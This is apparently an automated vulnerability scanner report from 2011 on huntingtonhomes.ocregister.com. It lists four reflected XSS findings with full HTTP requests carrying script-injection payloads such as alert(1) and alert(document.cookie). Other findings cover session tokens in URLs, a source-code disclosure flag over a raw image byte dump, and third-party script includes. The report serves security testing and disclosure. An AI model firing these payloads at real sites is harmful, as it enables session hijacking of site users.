XSS, Cross Site Scripting, huntingtonhomes.ocregister.com

XSS in huntingtonhomes.ocregister.com | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Fri Feb 04 13:28:08 CST 2011.



DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

1.1. http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042/ [REST URL parameter 5]

1.2. http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042/ [name of an arbitrarily supplied request parameter]

1.3. http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/127100/ [REST URL parameter 5]

1.4. http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/127100/ [name of an arbitrarily supplied request parameter]

2. Session token in URL

2.1. http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042/

2.2. http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/127100/

3. Source code disclosure

4. Cross-domain script include

4.1. http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042/

4.2. http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/127100/

5. HTML does not specify charset

5.1. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_about2.png

5.2. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_demo.png

5.3. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_foreclosures.png

5.4. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_guide.png

5.5. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_moreRE.png

5.6. http://huntingtonhomes.ocregister.com/files/2011/02/KobeBryant272.jpg

6. Content type incorrectly stated

6.1. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_about2.png

6.2. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_demo.png

6.3. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_foreclosures.png

6.4. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_guide.png

6.5. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_moreRE.png

6.6. http://huntingtonhomes.ocregister.com/files/2011/02/KobeBryant272.jpg



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042/ [REST URL parameter 5]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /2011/02/02/trashed-h-b-house-on-good-morning-america/127042/

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d33ef"><script>alert(1)</script>784ccd9e713 was submitted in the REST URL parameter 5. This input was echoed as d33ef\"><script>alert(1)</script>784ccd9e713 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef"><script>alert(1)</script>784ccd9e713/ HTTP/1.1
Host: huntingtonhomes.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Thu, 03 Feb 2011 19:06:53 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Thu, 03 Feb 2011 19:06:56 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 64846

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org
...[SNIP]...
nate" type="application/rss+xml" title=" Page not found - Huntington Homes - www.ocregister.com" href="http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef\"><script>alert(1)</script>784ccd9e713/feed/" />
...[SNIP]...

1.2. http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /2011/02/02/trashed-h-b-house-on-good-morning-america/127042/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11603"><script>alert(1)</script>ec87b8f4492 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 11603\"><script>alert(1)</script>ec87b8f4492 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2011/02/02/trashed-h-b-house-on-good-morning-america/127042/?11603"><script>alert(1)</script>ec87b8f4492=1 HTTP/1.1
Host: huntingtonhomes.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 19:06:29 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php
Link: <http://huntingtonhomes.ocregister.com/?p=127042>; rel=shortlink
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 130070


                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http:
...[SNIP]...
ashed H.B. house on &#8216;Good Morning America&#8217; - Huntington Homes - www.ocregister.com" href="http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042/?11603\"><script>alert(1)</script>ec87b8f4492=1feed/" />
...[SNIP]...

1.3. http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/127100/ [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /2011/02/03/repod-green-home-is-back-on-the-market/127100/

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44602"><script>alert(1)</script>cd83832419c was submitted in the REST URL parameter 5. This input was echoed as 44602\"><script>alert(1)</script>cd83832419c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2011/02/03/repod-green-home-is-back-on-the-market/12710044602"><script>alert(1)</script>cd83832419c/ HTTP/1.1
Host: huntingtonhomes.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Thu, 03 Feb 2011 19:06:10 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Thu, 03 Feb 2011 19:06:12 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 64828

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org
...[SNIP]...
ternate" type="application/rss+xml" title=" Page not found - Huntington Homes - www.ocregister.com" href="http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/12710044602\"><script>alert(1)</script>cd83832419c/feed/" />
...[SNIP]...

1.4. http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/127100/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /2011/02/03/repod-green-home-is-back-on-the-market/127100/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aba25"><script>alert(1)</script>01bcc28d4e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as aba25\"><script>alert(1)</script>01bcc28d4e8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2011/02/03/repod-green-home-is-back-on-the-market/127100/?aba25"><script>alert(1)</script>01bcc28d4e8=1 HTTP/1.1
Host: huntingtonhomes.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 19:06:07 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php
Link: <http://huntingtonhomes.ocregister.com/?p=127100>; rel=shortlink
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 77988


                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http:
...[SNIP]...
po&#8217;d &#8216;green&#8217; home is back on the market - Huntington Homes - www.ocregister.com" href="http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/127100/?aba25\"><script>alert(1)</script>01bcc28d4e8=1feed/" />
...[SNIP]...

2. Session token in URL  previous  next
There are 2 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


2.1. http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://huntingtonhomes.ocregister.com
Path:   /2011/02/02/trashed-h-b-house-on-good-morning-america/127042/

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /2011/02/02/trashed-h-b-house-on-good-morning-america/127042/ HTTP/1.1
Host: huntingtonhomes.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 19:05:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php
Link: <http://huntingtonhomes.ocregister.com/?p=127042>; rel=shortlink
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 128370


                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http:
...[SNIP]...
</div>


<img src="http://bh.contextweb.com/bh/set.aspx?action=add&advid=1518&token=FOCI1" width="1" height="1" border="0">

<script language="JavaScript">
...[SNIP]...

2.2. http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/127100/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://huntingtonhomes.ocregister.com
Path:   /2011/02/03/repod-green-home-is-back-on-the-market/127100/

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /2011/02/03/repod-green-home-is-back-on-the-market/127100/ HTTP/1.1
Host: huntingtonhomes.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 19:05:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php
Link: <http://huntingtonhomes.ocregister.com/?p=127100>; rel=shortlink
Last-Modified: Thu, 03 Feb 2011 19:05:43 +0000
Cache-Control: max-age=300, must-revalidate
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 77867

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org
...[SNIP]...
</div>


<img src="http://bh.contextweb.com/bh/set.aspx?action=add&advid=1518&token=FOCI1" width="1" height="1" border="0">

<script language="JavaScript">
...[SNIP]...

3. Source code disclosure  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/02/KobeBryant272.jpg

Issue detail

The application appears to disclose some server-side source code written in PHP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /files/2011/02/KobeBryant272.jpg HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E784ccd9e713/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_nr=1296750767605; s_lastvisit=1296846841969; fi_dslv=Less%20than%207%20days; s_vnum_w=1296972000168%26vn%3D2; s_vnum_m=1298959200170%26vn%3D2; AxData=; Axxd=1; s_cc=true; sinvisit_w=true; sinvisit_m=true; s_sq=%5B%5BB%5D%5D; 44146092a8373b49c062f68d9825aa14=1

Response

HTTP/1.1 200 OK
Date: Fri, 04 Feb 2011 19:25:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Thu, 03 Feb 2011 01:32:53 GMT
Cache-Control: max-age=157, must-revalidate
Content-Length: 61117
ETag: "e3fca7fd22396da63de8f3abb48ac6cd"
Expires: Mon, 07 Apr 2014 05:10:08 GMT
Content-Type: text/html

......JFIF.....H.H.....&Exif..MM.*.............................b...........j.(...........1.........r.2...........i.................H.......H....Adobe Photoshop CS Windows.2011:02:02 17:33:02..........
...[SNIP]...
...
}....Fc._...z../..}..F..~.......S........^H.AO..8BIM.!.....S..........A.d.o.b.e. .P.h.o.t.o.s.h.o.p.....A.d.o.b.e. .P.h.o.t.o.s.h.o.p. .C.S.....8BIM....................http://ns.adobe.com/xap/1.0/.<?xpacket begin='...' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='XMP toolkit 3.0-28, framework 1.6'>
...[SNIP]...



<?xpacket end='w'?>....Adobe.d@.................................................................................................................................................................."..........................
...[SNIP]...
<...W..6.2...b.5..}....[Z....[.w.......<?>..N... L;..<.......<..2...S.D..)%.95...K.U...........{..i....v...IbYc..i....M...
.5..E...).....b"m@|.m../.wpb.....IO>...P.....k....KaQ..U].X*...^.YJ..e.yp..{......b>.......'m.."..... V,.7d...P,......O.~}    ..W....jy .2....U ..f(.G..v...z'.E.}m'...9H..C......i..?..oj-f.2.|.NC....&...,;..zz_<.FO2....P.4.....{4._H...U......ci..Y.F.O.&
X..*y...S..~..:".....h+.'....d.GEb....e[J.P.........D...qCq..S...`...!RZ/..N^9.)e.g..|......Z.BF.....[..H.z&=.S.x.:
Z3......8.j.x%....H.T....5...=........_q..OqO...(......XN^..)..2..x...*...3H#....[}O...e.j..W.=.........yO.P.$.*..7..#Y.[.I..{../..<.D...~..yd..U....Ow..J...O....h%......&.I..........:.P.........Of=o......?..?.~......{.{.^.....P<\..k.}.u...#.......{.^
. ...a.b...=..u.I...7.....0.1...G.u....i.M.G...V...36..<zO.y..o...o..n6%..H.......X...i........#......m.........~...........I#...\.....o. .].!S.....Y(0......y...Z.&...jz:VG..5..L..$.k..s5.........,.;.x.j.....6...........\Z..I..x...I..B.*/..{..    f,...s...UX..F.#.V..`.l.EnJ$....Q.I".,.+F.....    .......i.
..?...K.M....v.....IU.u"........%..\[...qpA.=:.IA^.......$...JQ....`I8$z...J.?..Hf'....D....zA.lH..&.X.    ..rO.C.7.....i%}]..."GG(.H.*~y.yD..&Z.ZH.kY...?...:5..../...i.f(.........E....[..'d0....6h.1.....s"...oH&.R N...........t.../5...\$.T...1E.2..o..q..2...G....9....7.O..N.a.&......    ..o\>>
h.5..:..x.....ZO#.,...kS.^p.#....;.3.zH..L.z ]...S.3.A.......dH.3,    !u.M!H.N....#.ke.w..\.........VR...8.5V..}....]-].S.........{.".G..r(..p>..oEr...)1......?...(..4..*..:...S.i...Y
.......KC=.H/.._...?.oB...db.#....At.SU@9....l,.R=2..H.'...5XJ.c...U..+{...".....v..S.j...a.dzt_7.u...<.#.....8...h....v!....F.ckk.-.8........k..........yR6.......F.x.2...$.2.O..{..We.Z.O..~}..(.aIQ..zt."....f...ao......#P.t....>]I.N...?....+........&4'.:.~.......m).)...P.......z..^............}.....W...L.N.kY}F........=..............o.-k...x.......S..?..O.....?......g.....?Z......{3.}M$.rl=..QV4.{....I...~}......\.......^...?...@..)..
..........&.B.t...x!....O...FF...:.O..O.~..........?..QK..BT.....^...B.0:...$6.O...jU..%...#[jij..4...,m...b....~..[..N..O[#....-..XJ....TU..0i....O.3..fY..6...y.qI.+....G..}..R.+G....;.....~]...$.9.T.7..J.O...o=F.Ll@:.?'.......9X.~.N..H.<L.. (...b...,..........6.5+.:..B.k.Ik....w.....H....N...}X-mG_Q..:.
..>.....hZ.T.....$............vO.w.&..<.....P.|>...AVn.+.u....\..O.&.A.....nW.......l1G    .Lt..o:.g..:...M+IB.L.....l.<.Sr=.2Ys.t..$.`...............<....V.W.a.....m.J.3.1....X.dB.T.........#Q..Q.4<..M\..F..D....J...@............1..(......."...W..uK....|......sf... ....x)"...EJ..rA.....%...../Yr.+Z@.ou.jR....i.Y.s.."Gn.W..~..g..`V..kuW.    )...Q..r.pL&...3..sN.Q16....E...9j.O.4f.....z(.....2Ik/..Q..A..*......]>[..kk.....f&..U0.*...F.U2....x.........Yc.>...=[j..!g1.!]Y..O.ue_.>Un..K7Xw..j.H.Hp..#..49
_..*....K-.....?.q.3.......
.jh?.....n[...-..>.....pT.G...'WQ.Y..4U...<0EJ..T..F......{......:.@..e..Wg.F..B|......,.
.........X.e..!h...Ag^....gV..ACZ..M$oPJ...R....S.9..*.k*M/.8.j .H..|.L]E...........Yu...:,..$...z.....qE..8g.a......1[..Y.\...5..O.@...Y.6.2.+Zyp...5j Y.A?...O........ug..
.3......r..Q..N.?.I.....u.guW`.G.z.?.'..D...H_.F..<...>.dC.j.......N.M....P............)q.....inao.@oJM..;.}e..[/oew>f.a.%..%.....D.7....u.7...0X.8...?J.3|".[gB$..=..Y}..7a...3xK...*IIt.,3/....._h.......3..)Mh.Y......mxc.....y.ZC.."..kpT......n..$.@(.o....."#....k~...tha..]..;...'`>..z...yD.....    ${a.._.Z~...............a`..x .O.........b...
....rx..........u...-r
.#.......?.=...g:..(p>.e.66....{{.^..mJ....$..?.Y.....X..X.,I?..?.{1O.~......*c$.5.M...........7.:.b.lU.7.R>......A..-..6[.mZ..R....?./.t......W..Z.....U..R<.....!.$..i]'..O.f...[...#...........1.}.%Y.cO.. X.@..W..x..X#
?...s..7........S.....V.;..u.g........s.J....
....GV........P....M.......r$JjA....B...".....t ............TP...e..F.)..$.1J.8...
.."....5*..Kk.{....bjy.....F..,...E..?.....a.#p.~..UY.F........3.Nd..P...Xj.'..Cw.Q.V....-...'..'...uu)............%..Q.....d...*+*..:.e<...^........Jg.V...s%B...r.j.K..".Dhx(.8?A...[.......7...'...z$.....(....j...I.Y.nO............9.\..V..Swhn...f*......ZY....+..$W.I[........Cu..Z....>.......ZT.-.Q3=.....{....X&..&N3....4.I....""G.../v.i......QZ/.4..<.....X.$.n.....?g.8.....e>:.N.4...;.hm......w.c.r{.'H.Id......6.}.....e.m...\...o.td.cH...-~...?D.w......dz_.1...    ...njM.I50r..R...r.= .R.U......[. ......A...y...|.H.gh.l....MA..*..&a....l..V.pb.:.i... H...e..X...T..-.......=..]c'.....:........,Q=D."HR....T.p.......&......t..^....p.v.+.D.T.....Ai.s..[Q.W...nm..?..r..tWw....6.TC;....M.C.:.-.T..U....'.8.'...z"...    ..s.]....Y....Y#..E..;...a..R..}>.....4..z ...xd3..H.....#..
J..jw.BUM
G........_C...-.........p.~_..-.]....MC...?B*.pN..ukk.T ]At.y>.T.......D..(g.O.O.F......:c..r...ZZk...........-o....K(.......?...|M....+....j.j).....M............I..UT(.4.&.{Iz-.$..%...#.......>......m..G..Q.&.gkh"......Y|.9...p....6..CB".............S]=Z;.v.....2.x.j`
....`\("= 7.}}.\...v..K..$.W...v.V....C5......;..1..W..5PDn.....qy#...5....4..m[|f.....I.S...c..
"..p..fP@8.|..=u.;..7,-......R..B.......c....#....W.2.....Z...k....=....y..Mo
..*3.U%C.h.#]....._o........L..iD............Pc.{.#[G...T.$t...u2"!@?.....7..$d..V.k..V.w..X.2.A5...A....a..%.......v..&..'jL};T..1,.8.Em ..W...X.....~..^.O..._..'d....RPM.[..\..x..$PX..,.z....Q..qR.0...W.e................3I...G.....UQ{2.:Ho..^?........@_..Q.wi...._.D_1...g!>.qb*.9JE.%%\2D...*..cS.u"...{5.q..0 `._.VVsJ...|.D.!jt..e....?.....Ln$eQ..iG....H:..'..U.........>.....]...t.s.A.YQ}d[..e.....V    N.....g.x..b.]~~.....\.y.M.C4L.D........p.U.KBA#.o.._t|=........H=O..c....z.........jmm.......t......S.i&......*.mox.qkq{.^xq...S.7.....H[.H.Z..O....-........N.....].&C!K....s&.Sh....fjy.U.Y.......-...c.s8_...x.4..?Zt...K.2-.:...o?...).='...GW.s..U...<.y....._\.t..T.T.*.LA+`O...7...ZV+-...=t.....zM.m...V[...zSW.W...x......w@\..~..T.N....D....%D.8O(`......sn.......8..`...R..k...E.............e.I.>...J.*$g..;I.......-n-.)>....kO....]...F..j..?...u../....\}MBV... S$~61..ZD*M.......    
.C5.8......}]...*.4..~x..tC>cu>..t..2X......S.....b..'.B....}...Z].<.<.....q...).i...c...}.......!..%l..xMO+.....uN.C.OCJ..fm,../.~....AGA...O..._..=..3........
.....~.....x.55.T.%.......j..,.4#..u...C......}.U.n.*.h.@.ljn>_.....7wK..d.....R1..._.zp...f?.r......-.U....=.h..5Yy..Xl.VJLv....QG......Z.c'..#mi..P....C.D.......>].../...$.3.....o...v...T....}.ryXK.....O.0..h.G.$.aUsqR.\..!.E..=.oy..ty".UE.....S.=...\.b.k..61...:.6'.|v....T|..]...+;.m...o\n6...x....U...Y.uO:....
.....;*.n....9.p+..t#.i....-..z7u..Wc.:...{.. ...U.K.O....je.B.d]...r.k....Eq~...GA.......}.~...L..F4..q....6F.......c418..u>.#$x.{.........Z._=.Tq..t.no)..O3...b..Z..%.@...@.......'.;|.z"......E.tT.>...?..9.......;....M....,e.z...]X*..95i.ay.P....~{C5....]\.Mi......'............W...Y.....O.....n.jl...GQ.....W.......3.fd.!k.M.9....Ee.....:....S....@..... [..H.V......tk~../.B...n..%.;.pnQ.!..m.....Z.l.    .X.z|v.......U.......,..c....`..1....s...F..Jj<8....H.j{}.h..euVh.S.....Sk.+R..)..|.....8...........d.R.kv......y.f.^...#..c..VFR`x.:....c...7..i/{#......R..xq?g.Q}.i...&...R..._.:.z..aa~..l~...P.6.,L.r..T.yi.^)spS..Z..V.3.'...'0^....$%.....:Qbm..`.pX.A.~.o...`...x.N^.<fx.... .q.h.....x.._.[V...m.M........L..#......i....l....u...:+6N......&F..z.d...M:..a.H/b..}...}.........
./.B.S....;l"W.1...........W...0.B....*.....k....2s%..i..&O.W.....Z..J...4.>...t..}`0.S..m.G.y..pA..Q.".............Z..z./...d...._.......!.sc;...]6..AS...K.....U..4...7..#...s....W..]...2..[P......0..lF+....S.D.......
<...;..../.9....%...z.p..Yo....;./.p..I.6.<}.C...R..!-..-f...o.0....o..M......M....$jS.......i...u1.(eGg......o.....{..@.4...........<.    .0=.A...|\"O..@....<R+...V0^...Q.C..q6........7@..... ..:.....:..q.Z|......8....$..tR.9t.......[.}.{w0......#.G@...`V u.o.?.[.......ZZ.......$/$5..")eUT.B...?.......4L...WM..8...2.O$..:...M..Z......5.....ue..rO.S....q.>../..[}.......(j...VH....9...xY@E.~...$....<..OFv..V..../V.....7.Q.F.......x.;..Z..hi.N...N+...51i..........j........|.....s....k.....4..P...|h..7...m.2...b..M...E.pn..D.AA..o$1.4.J|.....b.    ....r......#..
y../.....'-Km.I.H.Z..td......t...].E...FO...p...;lAU...b..6..]...W..r.%=...:.!.m..~...j#.^}.....tN.G..:#9.......,^......c.[q....;.|r...P....-D.Z....#R.......".S-a...kO_.t.w.I4=...j.....Y.Kck.6.;.a..........W..+M.&Jx.dh3.F.    <e.4R..[H..>.....-A...\.7!I>]l.._oUn.......Xs8.J...GB.9.F......I.a.....].h.c.By...^/.h......\...-n....TIH...3%l....C.......a....l......?M.[z.....U.I..:........Yii&.....C.8j.....H..h....e`....r....._.._q.(....}..2.9.0.'......1....... .F...u...++\.J.I.....E.6.y...~...I.&...z!..m    .#..1..@.X......).4.9*..Zl..9W......m4.RGG#....(.T.`..m...ok....?.t[<W....?...=|q.\.....3....6[..0U....j...Dz|4U...j..&+iQ.H..`..M.....jA......M[.W..N.....W.&...I.0m}..q.K..I.....z(....G.T......v&I$:.....~..i.v..?>
.[|qA..EO.:!;.#Y.>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /2011/02/02/trashed-h-b-house-on-good-morning-america/127042/

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /2011/02/02/trashed-h-b-house-on-good-morning-america/127042/ HTTP/1.1
Host: huntingtonhomes.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 19:05:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php
Link: <http://huntingtonhomes.ocregister.com/?p=127042>; rel=shortlink
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 128370


                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http:
...[SNIP]...
</title>
